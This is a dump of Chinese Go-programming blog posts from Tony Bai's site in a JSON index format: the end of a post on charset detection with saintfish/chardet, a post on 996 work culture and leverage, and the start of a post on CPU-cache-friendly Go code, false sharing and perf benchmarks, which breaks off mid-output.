方案的探索虽然未能直接解决我们的问题，但它清晰地指明了方向：要寻找一个真正符合 Go 语言哲学的解决方案，我们必须将目光投向“纯 Go 之路”。\n纯 Go 方案——saintfish/chardet 的移植与局限 用纯 Go 来实现字符集检测是否可行？答案是肯定的。saintfish/chardet 就是这样一个库，它是 ICU 字符集检测算法的一个纯 Go 语言移植版本。\n下面是使用chardet对utf-8、GB-18030和eu-jp字符集进行检测的示例：\n// https://go.dev/play/p/pxjc_XxDF8v package main import ( \u0026#34;fmt\u0026#34; \u0026#34;github.com/saintfish/chardet\u0026#34; ) func main() { // 示例: 检测字节数组的字符集 detectFromBytes() } // detectFromBytes 检测字节数组的字符集 func detectFromBytes() { // 不同编码的示例文本 texts := map[string][]byte{ \u0026#34;UTF-8 中文\u0026#34;: []byte(\u0026#34;这是一段UTF-8编码的中文文本\u0026#34;), \u0026#34;GB18030 中文\u0026#34;: []byte{ // \u0026#34;Go是Google开发的一种静态强类型、编译型语言\u0026#34;的GB18030编码 71, 111, 202, 199, 71, 111, 111, 103, 108, 101, 233, 95, 176, 108, 181, 196, 210, 187, 214, 214, 190, 142, 215, 103, 208, 205, 163, 172, 129, 75, 176, 108, 208, 205, 163, 172, 178, 162, 190, 223, 211, 208, 192, 172, 187, 248, 187, 216, 202, 213, 185, 166, 196, 220, 181, 196, 177, 224, 179, 204, 211, 239, 209, 212, }, \u0026#34;日文 EUC-JP\u0026#34;: []byte{ // \u0026#34;こんにちは世界\u0026#34; 的EUC-JP编码示例 164, 179, 164, 243, 164, 203, 164, 193, 164, 207, 192, 164, 179, 166, }, } // 创建文本检测器 detector := chardet.NewTextDetector() for name, data := range texts { fmt.Printf(\u0026#34;\\n=== 检测: %s ===\\n\u0026#34;, name) // 方法1: 获取最佳匹配 result, err := detector.DetectBest(data) if err != nil { fmt.Printf(\u0026#34;检测失败: %v\\n\u0026#34;, err) continue } fmt.Printf(\u0026#34;最佳匹配:\\n\u0026#34;) fmt.Printf(\u0026#34; 字符集: %s\\n\u0026#34;, result.Charset) fmt.Printf(\u0026#34; 语言: %s\\n\u0026#34;, result.Language) fmt.Printf(\u0026#34; 置信度: %d%\\n\u0026#34;, result.Confidence) // 方法2: 获取所有可能的匹配 results, err := detector.DetectAll(data) if err != nil { fmt.Printf(\u0026#34;检测所有匹配失败: %v\\n\u0026#34;, err) continue } fmt.Printf(\u0026#34;\\n所有可能的匹配:\\n\u0026#34;) for i, r := range results { fmt.Printf(\u0026#34; %d. %s (语言: %s, 置信度: %d%)\\n\u0026#34;, i+1, r.Charset, r.Language, r.Confidence) } } } 这个示例的输出如下:\n$go run main.go === 检测: 日文 EUC-JP === 最佳匹配: 字符集: GB-18030 语言: zh 置信度: 10% 所有可能的匹配: 1. Shift_JIS (语言: ja, 置信度: 10%) 2. GB-18030 (语言: zh, 置信度: 10%) 3. EUC-JP (语言: ja, 置信度: 10%) 4. EUC-KR (语言: ko, 置信度: 10%) 5. Big5 (语言: zh, 置信度: 10%) === 检测: UTF-8 中文 === 最佳匹配: 字符集: UTF-8 语言: 置信度: 100% 所有可能的匹配: 1. UTF-8 (语言: , 置信度: 100%) 2. windows-1253 (语言: el, 置信度: 20%) 3. Big5 (语言: zh, 置信度: 10%) 4. Shift_JIS (语言: ja, 置信度: 10%) 5. GB-18030 (语言: zh, 置信度: 10%) === 检测: GB18030 中文 === 最佳匹配: 字符集: GB-18030 语言: zh 置信度: 100% 所有可能的匹配: 1. GB-18030 (语言: zh, 置信度: 100%) 2. Big5 (语言: zh, 置信度: 10%) 3. Shift_JIS (语言: ja, 置信度: 10%) 4. windows-1252 (语言: fr, 置信度: 5%) 这个结果生动地印证了我们在本文开头的论断：字符集检测是一门“不精确”的科学。对于短小的日文 EUC-JP 文本(14个字节)，chardet 发生了误判(将之识别为GB-18030)，给出了一个置信度仅为 10% 的错误答案。\n根据之前我们对检测算法的了解，这次日文检测失败的主要原因很可能是数据量太少。我们提供给检测器的日文 EUC-JP 数据只有 14 字节，这对于字符集检测来说太短了，导致所有候选编码的置信度都只有 10%。下面我们提供更多日文字符，看看检测器是否能做出正确的检测！\n这次我们提供的日文字符如下：\n\u0026#34;日文 EUC-JP\u0026#34;: []byte{ // \u0026#34;Go言語はGoogleが開発したプログラミング言語です。並行処理が得意で、コンパイル速度も速いです。日本語のテストです。\u0026#34; 71, 111, 184, 192, 184, 236, 164, 207, 71, 111, 111, 103, 108, 101, 164, 172, 179, 171, 200, 175, 164, 183, 164, 191, 165, 215, 165, 237, 165, 176, 165, 233, 165, 223, 165, 243, 165, 176, 184, 192, 184, 236, 164, 199, 164, 185, 161, 163, 202, 195, 185, 212, 189, 232, 164, 234, 164, 172, 196, 192, 176, 213, 164, 199, 161, 162, 165, 179, 165, 243, 165, 209, 165, 164, 165, 235, 194, 174, 197, 249, 164, 226, 194, 174, 164, 164, 164, 199, 164, 185, 161, 163, 198, 252, 203, 220, 184, 236, 164, 206, 165, 198, 165, 185, 165, 200, 164, 199, 164, 185, 161, 163, }, 然后再运行一次检测器，这次得到的结果如下：\n// 忽略其他 === 检测: 日文 EUC-JP === 最佳匹配: 字符集: EUC-JP 语言: ja 置信度: 100% 所有可能的匹配: 1. EUC-JP (语言: ja, 置信度: 100%) 2. GB-18030 (语言: zh, 置信度: 59%) 3. Big5 (语言: zh, 置信度: 48%) 4. ISO-8859-1 (语言: fr, 置信度: 11%) 5. ISO-8859-6 (语言: ar, 置信度: 10%) 6. Shift_JIS (语言: ja, 置信度: 10%) 7. EUC-KR (语言: ko, 置信度: 10%) 8. ISO-8859-7 (语言: el, 置信度: 9%) 9. windows-1256 (语言: ar, 置信度: 8%) 10. KOI8-R (语言: ru, 置信度: 6%) 11. ISO-8859-9 (语言: tr, 置信度: 3%) 这回检测器做出了正确的检查！\n在日常做字符集检测时，有一个置信度阈值建议：\n\u0026gt;= 80%: 可以较高把握地采纳该结果。 50-80%: 结果可疑，建议结合其他业务逻辑进行验证，或提示用户进行人工确认。 \u0026lt; 50%: 结果几乎不可信，应视为检测失败。 尽管 chardet 能够工作，但它也面临其自身的局限：早已不再积极维护。这意味着它可能缺少对新编码的支持，也可能存在未修复的 Bug。\n标准库的边界——golang.org/x/text 能做什么？ 看到 icu4go 和 chardet 两个关键库都已不再活跃，一个自然的问题是：我们能否仅依靠 Go 官方的 golang.org/x/text下面的包，自己实现一个字符集检测工具呢？\n最初我也想当然的认为这是可行的。但经过调查后，才发现答案：几乎不可能。 x/text/encoding 包的设计目标是转换 (Conversion)，而非检测 (Detection)。\n它提供了一套极其强大和高效的工具，用于在已知源编码和目标编码的情况下，进行精确的转换。它就像一个多语言的“翻译官”，但前提是你必须告诉他：“请把这段 GBK 编码的文本，翻译成 UTF-8。”\nimport ( \u0026#34;golang.org/x/text/encoding/simplifiedchinese\u0026#34; \u0026#34;golang.org/x/text/transform\u0026#34; \u0026#34;io\u0026#34; \u0026#34;os\u0026#34; ) func convertGBKtoUTF8(gbkReader io.Reader) io.Reader { // gbkReader 是一个读取 GBK 编码文件的 io.Reader // utf8Reader 将会是一个在读取时自动转换为 UTF-8 的 io.Reader utf8Reader := transform.NewReader(gbkReader, simplifiedchinese.GBK.NewDecoder()) return utf8Reader } 由此也可以看出，Go标准库(包括golang.org/x/…)为你提供了最强大、最正确的转换工具，但将“猜测”这个不确定的、充满风险的任务，留给了开发者自己或第三方库去解决。它不提供用于“猜测”的统计模型或状态机。\n小结 在梳理完所有线索后，我们终于可以为“Go 开发者如何处理未知编码”这个问题，给出一份清晰的实践指南：\n最高法则：尽可能避免检测。在设计系统时，应始终将显式声明编码作为第一原则。例如： * **HTTP API**：强制要求客户端在 Content-Type 头中明确指定 charset。 * **文件上传**：在 UI 中提供一个下拉菜单，让用户（如果可能）指定其上传文件的编码。 * **系统间通信**：在服务间约定统一使用 UTF-8。 务实的选择：当必须检测时。如果你的业务场景（如处理用户上传的各种历史遗留文件）让你别无选择，那么： * saintfish/chardet 是目前最符合 Go 语言习惯（纯 Go、无 CGO）的**起点**。尽管它已不再活跃，但其代码和原理依然是构建自定义解决方案的最佳参考。 * 在使用任何检测库时，**必须对返回的置信度进行判断**，并为低置信度的结果设计 fallback 逻辑。 * 可以考虑自己维护一个 chardet 的 fork，或者参考其原理，针对你的特定业务场景（例如，只在几种有限的编码中进行猜测）实现一个更轻量级的检测器。 最后的手段：CGO 的重量级武器。如果你的应用场景对检测的准确率要求极高，且你愿意承担 CGO 带来的所有复杂性，那么封装 ICU4C 依然是一条可行的、但充满挑战的道路。 你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/17/detect-charset-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/detect-charset-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/17/detect-charset-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/17/detect-charset-in-go\"\u003ehttps://tonybai.com/2025/10/17/detect-charset-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在上一篇关于 Go 语言 \u003ca href=\"https://tonybai.com/2025/10/13/string-and-rune-in-go\"\u003estring 与 rune 设计哲学\u003c/a\u003e的文章发布后，我收到了许多精彩的反馈。其中，一位读者提出了一个极具现实意义的后续问题：“既然 Go 的世界以 UTF-8 为中心，那么当我们从外部系统（如老旧的文件、非标准的 API）接收到一段\u003cstrong\u003e未知编码\u003c/strong\u003e的字节流时，我们该如何是好？Go 生态是否有成熟的字符集检测工具/库？”\u003c/p\u003e","title":"收到非 UTF-8 文本怎么办？Go 字符集检测的探索与实践"},{"content":"划船，还是扬帆？重新审视 996 文化背后的杠杆缺失 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n划船，还是扬帆？重新审视 996 文化背后的杠杆缺失 十月 16, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/10/16/rethink-996-culture\n大家好，我是Tony Bai。\n“996”——早上九点到晚上九点，一周工作六天。这个术语早已成为国内科技行业高强度工作文化的代名词。其背后的逻辑似乎坚不可摧：如果你无法用才华取胜，那就用时间取胜。努力工作，加倍努力，似乎成为了通往成功的唯一路径。随着AI赛道竞争的白热化，996文化开始“传染”给美国西部的高科技行业，这种现象也引起了欧美开发者的关注。\n近日一篇名为《996 只是意味着你没有杠杆》的文章，对这一“努力神话”提出了一个颠覆性的批判。作者 J.A. Westenberg 在文中提出了一个尖锐的理论：当一家公司或个人将 996 作为其核心战略时，他们实际上已经输了。他们炫耀的不是自己的力量，而是自己的弱点。\n这篇文章既是是对工作文化的批判，也是一堂关于战略、价值和杠杆思维的深刻一课，值得每一位技术从业者深思。\n996 的本质：没有帆，只能拼命划船 Westenberg 的核心观点可以用一个生动的比喻来概括：\n“The grind-maxxed founder is trying to row the boat harder. The leverage-maxxed founder has a sail.”\n（拼命“卷”的创始人，正试图更用力地划船。而善用杠杆的创始人，早已扬起了帆。）\n他认为，996 文化盛行的根本原因，往往不是因为团队充满激情，而是因为他们的想法不够好，不足以在每天八小时内取得成功。\n没有 PMF (产品市场契合) 的蛮力冲锋： 当一家公司还没有找到真正被市场需要的产品时，剩下的唯一选择似乎就是“动量表演”——通过让团队长时间工作来制造一种增长的假象。Westenberg 观察到，这种试图用蛮力冲破迷雾的方式，往往在找到突破口之前，就已将团队燃烧殆尽。 用努力掩盖洞察的缺失： 过度沉迷于工作，会给人一种虚假的正义感和安慰感，让人误以为成功只是时间的函数，而非品味、判断力或时机的产物。作者直言：“没有洞察力的痴迷，只是一种病态。” 当一家公司最好的名片是“我们所有人都在拼命工作”时，在 Westenberg 看来，它其实什么都没说。\n努力不是价值，“孔雀开屏”式的表演 为什么在没有独特优势（如顶尖人才、强大网络或创新想法）时，人们会倾向于崇拜“埋头苦干”？作者认为，这是一种“身份焦虑”的副作用。\n你需要向世界证明你是认真的、投入的。还有什么比所有人都下班回家后，你依然在办公室奋战，并拍照发推更好的方式呢？Westenberg 将这种行为称为**“孔雀开屏 (peacocking)”**式的表演，目的是展示“看我有多努力”。\n然而，这种表演混淆了两个根本不同的概念：\n努力 ≠ 价值 (Effort is not value) 工时 ≠ 产出 (Hours are not outcomes) 工作 ≠ 进展 (Work is not the same as progress) Westenberg 指出，如果你的唯一优势就是“努力”，那么你是可以被轻易替代的。因为总有比你更年轻、更饥渴、更绝望的人，愿意投入更长的时间。疲惫本身，构不成任何长期的护城河。\n真正的优势：在不同的轴线上竞争 作者观察到，那些他真正钦佩的人，他们拥有的“不公平优势”往往与时间无关。\n有些人极擅长销售。 有些人是天才的设计师。 有些人是简化复杂系统的大师。 关键在于，他们在完全不同的轴线上竞争。他们不需要用 996 的方式工作，因为他们在四小时内创造的价值，可能比大多数人十二小时创造的还要多。\n你很少听到真正伟大的创始人吹嘘“我只是比所有人都更努力工作”。你听到的是：\n“我们找到了人们想要的东西，然后我们把它做了出来。” “我们知道一个秘密。” “我们有不同的思考方式。” 在 Westenberg 看来，他们的成功，源于找到了独特的杠杆。\n寻找你的帆：超越时间的竞争 “努力”是线性且有上限的，而“杠杆”则是非线性且能带来指数级回报的。作者认为，最有价值的公司，正是由那些找到了杠杆的人建立的。\n智力杠杆 (Intellectual Leverage): 你是否拥有别人不知道的“秘密”？一个独特的洞察，一个创新的算法，一个更优越的架构。 产品杠杆 (Product Leverage): 你的产品是否足够好，以至于它能“自我行走”？一个精心设计的产品，会在你睡觉时被用户自发分享。一个有用的工具，会为世界创造比其开发者投入的多得多的价值。 分销杠杆 (Distribution Leverage): 你是否建立了别人难以企及的渠道或网络？ 花再多的时间划船，也无法拯救一个航向错误的游戏。\n小结：别再建造一台“跑步机” 996 的神话，美化了“受苦”，并将其与“成功”错误地绑定。但 Westenberg 揭示的真相或许有些残酷：最有价值的工作，往往不是最辛苦的工作。\n文章最后，作者给出了一个尖锐的拷问：\n“The next time someone brags about 996, ask them what they’re building. Ask them what they know that others don’t. Ask them what would keep working if they stopped. Because if the answer is “nothing,” then they haven’t built a company. They’ve just built a fucking treadmill.”\n（下次有人吹嘘 996 时，问问他们在做什么。问问他们知道哪些别人不知道的事情。问问他们，如果他们停下来，还有什么能继续运作。因为如果答案是“什么都没有”，那么他们并没有建立一家公司，他们只是造了一台他妈的跑步机。）\nWestenberg 的文章提醒我们，作为技术从业者，我们的目标不应该是成为跑步机上跑得最久的人，而应该是那个找到更好的交通工具，甚至学会飞行的人。我们的价值，最终体现在我们创造的杠杆上，而非消耗的时间里。是时候停止奋力划桨，开始抬头寻找风向了。\n资料链接：https://www.joanwestenberg.com/p/996-just-means-you-have-no-leverage\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，\u0026gt;提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/16/rethink-996-culture/","summary":"\u003ch1 id=\"划船还是扬帆重新审视-996-文化背后的杠杆缺失---tony-bai\"\u003e划船，还是扬帆？重新审视 996 文化背后的杠杆缺失 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"划船，还是扬帆？重新审视 996 文化背后的杠杆缺失"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/16/cpu-cache-friendly-in-go\n大家好，我是Tony Bai。\n“现代 CPU 很快，而内存很慢。”\n这句看似简单的陈词滥调，是理解现代高性能编程的唯一“真理”。我们常常致力于优化算法的时间复杂度，却忽略了一个更为根本的性能瓶颈：数据在内存和 CPU 缓存之间的移动。一次 L1 缓存的命中可能仅需数个时钟周期（~1ns），而一次主内存的访问则需要超过上百个周期（~100ns），这之间存在着超过 100 倍的惊人差距(2020年数据，如下图，近些年内存速度提升，但与L1缓存相比依旧有几十倍的差距)。\n访问延迟，来自参考资料2(2020年数据) 近年来，自从 Go 更换了新的技术负责人后，整个项目对性能的追求达到了前所未有的高度。从 Green Tea GC 的探索，到对 map 等核心数据结构的持续优化，再到即将在 Go 1.26 中引入的实验性 simd 包，无不彰显出 Go 团队提升运行时性能和榨干硬件潜能的决心。\n在这个背景下，理解并应用“CPU 缓存友好”的设计原则，不再是少数性能专家的“屠龙之技”，而是每一位 Gopher 都应掌握的核心能力。即便算法完全相同，仅仅通过优化数据结构，我们就有可能获得 2-10 倍甚至更高的性能提升。这并非“过早优化”，对于性能敏感的系统而言，这是一种必要优化。\n本文受Serge Skoredin的“CPU Cache-Friendly Data Structures in Go: 10x Speed with Same Algorithm”启发，将和大家一起从 CPU 缓存的第一性原理出发，并结合完整的 Go 示例与基准测试，为你揭示一系列强大的“数据驱动设计”(Data-Oriented Design) 技术，包括伪共享、AoS vs. SoA、冷热数据分离等，助你编写出真正能与硬件产生“机械共鸣”的 Go 程序。\n机械共鸣入门 —— 深入理解 CPU 缓存架构 在讨论任何优化技巧之前，我们必须先建立一个坚实的心智模型：CPU 是如何读取数据的？答案就是多级缓存。你可以将它想象成一个信息检索系统：\nL1 缓存：就在你办公桌上的几张纸。访问速度最快（~1ns），但容量极小（几十 KB）。 L2 缓存：你身后的文件柜。稍慢一些（~3ns），但容量更大（几百 KB）。 L3 缓存：这层楼的小型图书馆。更慢（~10ns），但容量更大（几 MB）。 主内存 (RAM)：城市另一头的中央仓库。访问速度最慢（~100ns+），但容量巨大（几十 GB）。 CPU 总是优先从最快的 L1 缓存中寻找数据。如果找不到（即缓存未命中, Cache Miss），它会逐级向 L2、L3 乃至主内存寻找，每一次“升级”都意味着巨大的性能惩罚。\n这个多层级的结构，解释了为什么“缓存命中”如此重要。但要真正编写出缓存友好的代码，我们还必须理解数据在这条信息高速公路上运输的规则。其中，最核心的一条规则，就是关于数据运输的“集装箱”——缓存行。\n缓存行 (Cache Line) CPU 与内存之间的数据交换，并非以单个字节为单位，而是以一个固定大小的块——缓存行 (Cache Line)——为单位。在现代 x86_64 架构上，一个缓存行通常是 64 字节。\n一个生动的比喻：CPU 去仓库取货，从不一次只拿一个螺丝钉，而总是整箱整箱地搬运。\n这意味着，当你程序中的某个变量被加载到缓存时，它周围的、在物理内存上相邻的变量，也会被一并加载进来。这个特性是所有缓存优化的基础。\n物理核心、逻辑核心与缓存归属 我们已经知道了数据是以“集装箱”（缓存行）为单位进行运输的。那么下一个关键问题便是：这些集装箱，被运往了谁的“专属仓库”？在 Go 这样一个以并发为核心的语言中，理解多核 CPU 的缓存“所有权”结构，是解开所有并发性能谜题的钥匙。\n一个典型的多核 CPU 结构可以用如下示意图来表示：\n从图中我们看到：\nL1 和 L2 缓存是物理核心私有的。这意味着，不同物理核心之间的数据同步（例如，当核心0修改了某个数据，核心1也需要这个最新数据时），必须通过昂贵的、跨核心的**缓存一致性协议(MESI)**来进行，这是性能损耗的主要来源。 超线程 (Hyper-Threading) 使得一个物理核心能模拟出两个逻辑核心。 这两个逻辑核心共享同一个物理核心的 L1 和 L2 缓存。这意味着，运行在同一个物理核心上的两个 goroutine（即使它们在不同的逻辑核心上），它们之间的数据交换非常廉价，因为数据无需离开该核心的私有缓存。 现在，你已经掌握了理解后续所有优化技巧的“第一性原理”。\n诊断先行 —— 如何测量缓存未命中 在进行任何优化之前，我们还必须先学会诊断。“Profile, don’t guess” (要剖析，不要猜测) 是所有性能优化的第一原则。对于缓存优化而言，最有力的工具就是 Linux 下的 perf 命令。\nperf 可以精确地告诉你，你的程序在运行时发生了多少次缓存引用和缓存未命中。\n快速概览： # 运行你的程序，并统计缓存相关的核心指标 perf stat -e cache-misses,cache-references ./myapp Performance counter stats for \u0026#39;./myapp\u0026#39;: 175202 cache-misses # 14.582 % of all cache refs 1201466 cache-references 0.125950526 seconds time elapsed 0.038287000 seconds user 0.030756000 seconds sys cache-misses 与 cache-references 的比率，就是你的“缓存未命中率”，这是衡量程序缓存效率最直观的指标。\n与 Go Benchmark 结合：你可以将 perf 直接作用于一个已编译为可执行文件的Go 基准测试上。 # 将测试编译为一个可执行文件 go test -c -o benchmark.test # 针对该测试进程进行缓存的负载和未命中分析 perf stat -e cache-misses,cache-references ./benchmark.test -test.benchmem -test.bench \u0026#34;BenchmarkFalseSharing/Padded\u0026#34; goos: linux goarch: amd64 pkg: demo cpu: Intel(R) Xeon(R) CPU E5-2695 v2 @ 2.40GHz BenchmarkFalseSharing/Padded_(No_False_Sharing)-2 292481478 4.109 ns/op 0 B/op 0 allocs/op PASS Performance counter stats for \u0026#39;./benchmark.test -test.benchmem -test.bench BenchmarkFalseSharing/Padded\u0026#39;: 279945 cache-misses # 20.848 % of all cache refs 1342771 cache-references 1.644051530 seconds time elapsed 3.188438000 seconds user 0.039960000 seconds sys 通过这种方式，我们也可以量化地评估后续章节中各种优化技巧带来的实际效果。\n注：建议大家先执行dmesg | grep -i perf来确认你的物理机器或虚拟机是否有支持perf的驱动，然后再通过apt/yum在你的特定发布版的linux上安装perf：yum install perf or apt-get install linux-tools-common。对于特定内核的版本(比如5.15.0)，还可以使用类似apt-get install linux-tools-5.15.0-125-generic的命令。\n伪共享 (False Sharing) —— 深入剖析并发性能陷阱 “伪共享” (False Sharing) 是并发编程中最微妙、也最致命的性能杀手之一。\n问题根源：前面说过，现代 CPU 并不以单个字节为单位与内存交互，而是以缓存行 (Cache Line) 为单位。当一个 CPU 核心修改某个变量时，它会获取包含该变量的整个缓存行的独占所有权。如果此时，另一个物理核心需要修改位于同一个缓存行内的另一个逻辑上独立的变量，就会引发昂贵的缓存一致性协议，强制前一个核心的缓存行失效，并重新从主存加载。这种由物理内存布局导致的、逻辑上不相关的核间竞争，就是伪共享。\n实验设计：并发计数器 为了精确地量化伪共享的影响，我们设计了一个基准测试。该测试包含两种结构体：CountersUnpadded（计数器紧密排列，可能引发伪共享）和 CountersPadded（通过内存填充，确保每个计数器独占一个缓存行）。我们将让多个 goroutine 并发地更新不同的计数器，并使用 perf 工具来观测其底层的硬件行为。\n// false-sharing/demo/main.go package main const ( cacheLineSize = 64 // 为了更容易观察效果，我们将计数器数量增加到与常见核心数匹配 numCounters = 16 ) // --- 对照组 A (未填充): 计数器紧密排列，可能引发伪共享 --- type CountersUnpadded struct { counters [numCounters]uint64 } // --- 对照组 B (已填充): 通过内存填充，确保每个计数器独占一个缓存行 --- type PaddedCounter struct { counter uint64 _ [cacheLineSize - 8]byte // 填充 (64-byte cache line, 8-byte uint64) } type CountersPadded struct { counters [numCounters]PaddedCounter // 跨多个缓存行，每个缓存行一个计数器 } 初步验证尝试与结果分析 我们的基准测试使用 b.RunParallel来执行并发的benchmark，这是 Go 中进行并行 benchmark 的标准方式。\n// false-sharing/demo/main_test.go package main import ( \u0026#34;runtime\u0026#34; \u0026#34;sync/atomic\u0026#34; \u0026#34;testing\u0026#34; ) func BenchmarkFalseSharing(b *testing.B) { // 使用 GOMAXPROCS 来确定并行度，这比 NumCPU 更能反映实际调度情况 parallelism := runtime.GOMAXPROCS(0) if parallelism \u0026lt; 2 { b.Skip(\u0026#34;Skipping, need at least 2 logical CPUs to run in parallel\u0026#34;) } b.Run(\u0026#34;Unpadded (False Sharing)\u0026#34;, func(b *testing.B) { var counters CountersUnpadded // 使用一个原子计数器来为每个并行goroutine分配一个唯一的、稳定的ID var workerIDCounter uint64 b.RunParallel(func(pb *testing.PB) { // 每个goroutine在开始时获取一次ID，并在其整个生命周期中保持不变 id := atomic.AddUint64(\u0026amp;workerIDCounter, 1) - 1 counterIndex := int(id) % numCounters for pb.Next() { atomic.AddUint64(\u0026amp;counters.counters[counterIndex], 1) } }) }) b.Run(\u0026#34;Padded (No False Sharing)\u0026#34;, func(b *testing.B) { var counters CountersPadded var workerIDCounter uint64 b.RunParallel(func(pb *testing.PB) { id := atomic.AddUint64(\u0026amp;workerIDCounter, 1) - 1 counterIndex := int(id) % numCounters for pb.Next() { atomic.AddUint64(\u0026amp;counters.counters[counterIndex].counter, 1) } }) }) } 在我的一台macOS上的benchmark运行结果如下：\n$go test -bench . goos: darwin goarch: amd64 pkg: demo cpu: Intel(R) Core(TM) i5-8257U CPU @ 1.40GHz BenchmarkFalseSharing/Unpadded_(False_Sharing)-8 75807434 15.20 ns/op BenchmarkFalseSharing/Padded_(No_False_Sharing)-8 740319799 1.720 ns/op PASS ok demo 2.616s 我们看到padding后的counter由于单独占据一个缓存行，避免了不同核心对同一缓存行的争用，就能带来超过10 倍的性能提升。\n结合perf分析benchmark结果 接下来，我使用支持perf的一台linux vps(2core)，结合perf和benchmark来全面地分析一下上述的benchmark结果。\n$go test -bench . goos: linux goarch: amd64 pkg: demo cpu: Intel(R) Xeon(R) CPU E5-2695 v2 @ 2.40GHz BenchmarkFalseSharing/Unpadded_(False_Sharing)-2 58453443 20.49 ns/op BenchmarkFalseSharing/Padded_(No_False_Sharing)-2 297915252 4.068 ns/op PASS ok demo 2.866s $go test -c -o benchmark.test // 获取Padded counter的cache-misses $perf stat -e cache-misses,cache-references ./benchmark.test -test.benchmem -test.bench \u0026#34;BenchmarkFalseSharing/Padded\u0026#34; goos: linux goarch: amd64 pkg: demo cpu: Intel(R) Xeon(R) CPU E5-2695 v2 @ 2.40GHz BenchmarkFalseSharing/Padded_(No_False_Sharing)-2 292481478 4.109 ns/op 0 B/op 0 allocs/op PASS Performance counter stats for \u0026#39;./benchmark.test -test.benchmem -test.bench BenchmarkFalseSharing/Padded\u0026#39;: 279945 cache-misses # 20.848 % of all cache refs 1342771 cache-references 1.644051530 seconds time elapsed 3.188438000 seconds user 0.039960000 seconds sys // 获取Unpadded counter的cache-misses $perf stat -e cache-misses,cache-references ./benchmark.test -test.benchmem -test.bench \u0026#34;BenchmarkFalseSharing/Unpadded\u0026#34; goos: linux goarch: amd64 pkg: demo cpu: Intel(R) Xeon(R) CPU E5-2695 v2 @ 2.40GHz BenchmarkFalseSharing/Unpadded_(False_Sharing)-2 90129991 15.48 ns/op 0 B/op 0 allocs/op PASS Performance counter stats for \u0026#39;./benchmark.test -test.benchmem -test.bench BenchmarkFalseSharing/Unpadded\u0026#39;: 224973 cache-misses # 0.750 % of all cache refs 29986826 cache-references 1.424455948 seconds time elapsed 2.806636000 seconds user 0.019904000 seconds sys // 获取Unpadded counter的l1-cache-misses $perf stat -e L1-dcache-loads,L1-dcache-load-misses ./benchmark.test -test.benchmem -test.bench \u0026#34;BenchmarkFalseSharing/Unpadded\u0026#34; goos: linux goarch: amd64 pkg: demo cpu: Intel(R) Xeon(R) CPU E5-2695 v2 @ 2.40GHz BenchmarkFalseSharing/Unpadded_(False_Sharing)-2 76737583 20.43 ns/op 0 B/op 0 allocs/op PASS Performance counter stats for \u0026#39;./benchmark.test -test.benchmem -test.bench 